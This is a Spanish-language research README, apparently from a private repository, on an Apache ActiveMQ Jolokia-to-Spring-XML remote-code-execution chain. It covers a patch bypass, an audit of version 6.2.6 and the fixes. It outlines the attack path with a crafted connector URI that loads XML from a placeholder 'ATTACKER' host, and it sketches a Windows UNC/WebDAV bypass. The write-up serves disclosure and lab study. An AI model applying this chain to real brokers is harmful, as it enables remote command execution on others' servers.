Apache ActiveMQ Classic — Investigación de RCE

Archivo de investigación privado para la cadena de ejecución remota de código Apache ActiveMQ Classic Jolokia → addNetworkConnector → xbean/Spring-XML (CVE-2026-34197 y su evasión del parche CVE-2026-42588), además de una auditoría completa de auto-investigación de la versión corregida 6.2.6 y una comparación lado a lado con el informe público de evasión de Crowdfense.

Toda la explotación se realizó contra brokers de laboratorio locales (Docker / autoalojados). Los payloads utilizan hosts atacantes de marcador de posición.

Contenido

Los árboles de código fuente y las distribuciones binarias del proveedor utilizados durante los laboratorios están excluidos a propósito (son de upstream, no nuestros).

La vulnerabilidad en una línea

Un llamador Jolokia autenticado (no autenticado en 6.0.0–6.1.1 mediante CVE-2024-32114) invoca BrokerView.addNetworkConnector(uri) con una URI de descubrimiento manipulada cuyo vm://…?brokerConfig=xbean:<url> interno obliga al broker a cargar un Spring XML controlado por el atacante, que instancia de forma ansiosa un bean ProcessBuilder antes de la validación del broker → ejecución de comandos del sistema operativo.

POST /api/jolokia/  →  BrokerView.addNetworkConnector(String)
  →  static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
  →  VMTransportFactory dynamic broker creation  →  XBeanBrokerFactory
  →  ResourceXmlApplicationContext loads Spring XML  →  ProcessBuilder bean  →  RCE

Hallazgos

Titular: tres hallazgos están probados en vivo hasta root/XSS; la auditoría de 6.2.6 añade un conjunto más amplio que está verificado contra el código fuente y evaluado de forma adversarial, pero aún no detonado en vivo. Ninguno de los extras de 6.2.6 es un RCE no autenticado nuevo — el proveedor cerró esas puertas; el riesgo residual se trasladó a la autorización y la codificación de salida.

Cadena de explotación probada

Nuevos de la auditoría de 6.2.6 (verificados contra el código fuente)

Fuera de alcance — DoS (catalogados, no titulares)

AIOOBE del ordinal QoS de MQTT (QoS.values()[ordinal], entre protocolos, sin configuración) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · NegativeArraySizeException de short con signo en unmarshal de OpenWire · AMQ_SCHEDULED_REPEAT negativo que crea trabajos inmortales.

Comparación con el informe de Crowdfense

El Apache ActiveMQ RCE Bypass de Crowdfense cubre la misma cadena (ellos la registran bajo CVE-2026-34197; nosotros seguimos la evasión como su propio CVE-2026-42588). Ambas versiones convergen en una defensa de tres capas; la única divergencia es la Capa 2.

La única brecha: su truco de codificación porcentual en la Capa 2 + UNC/WebDAV logra una entrega totalmente remota sin primitiva de escritura local. El fallo del clasificador que explota (activemq-spring/Utils.java:123-129, un startsWith("file://") crudo sobre la cadena sin decodificar) está presente en nuestro código fuente exacto — pero la mitad remota es solo Windows (Linux trata //host/share como una ruta local), y nuestro laboratorio era Linux, así que no se pudo ejercitar allí. De todos modos, está muerto en 6.2.6 (la compuerta de esquema de VMTransportFactory rechaza xbean antes de que se ejecute Utils).

Seguimiento: un 5.19.6 alojado en Windows (o cualquier build anterior a 5.19.7/6.2.6) + un listener SMB/WebDAV nos permitiría demostrar la evasión de la lista blanca totalmente remota — la única capacidad que tiene el artículo y que nuestro ejercicio aún no ha mostrado.

Corrección (ActiveMQ 6.2.6)

Tres commits cierran la cadena: c1b44af11 (validar URIs compuestas sin paréntesis — parseComposite incondicionalmente + recursión), c2fc7a1d6 (bloquear XBeanBrokerFactory por defecto mediante la lista blanca de esquemas de VMTransportFactory) y be8415f24 (endurecimiento de la configuración de ejemplo: Jolokia a loopback, lista de denegación de operaciones con addNetworkConnector).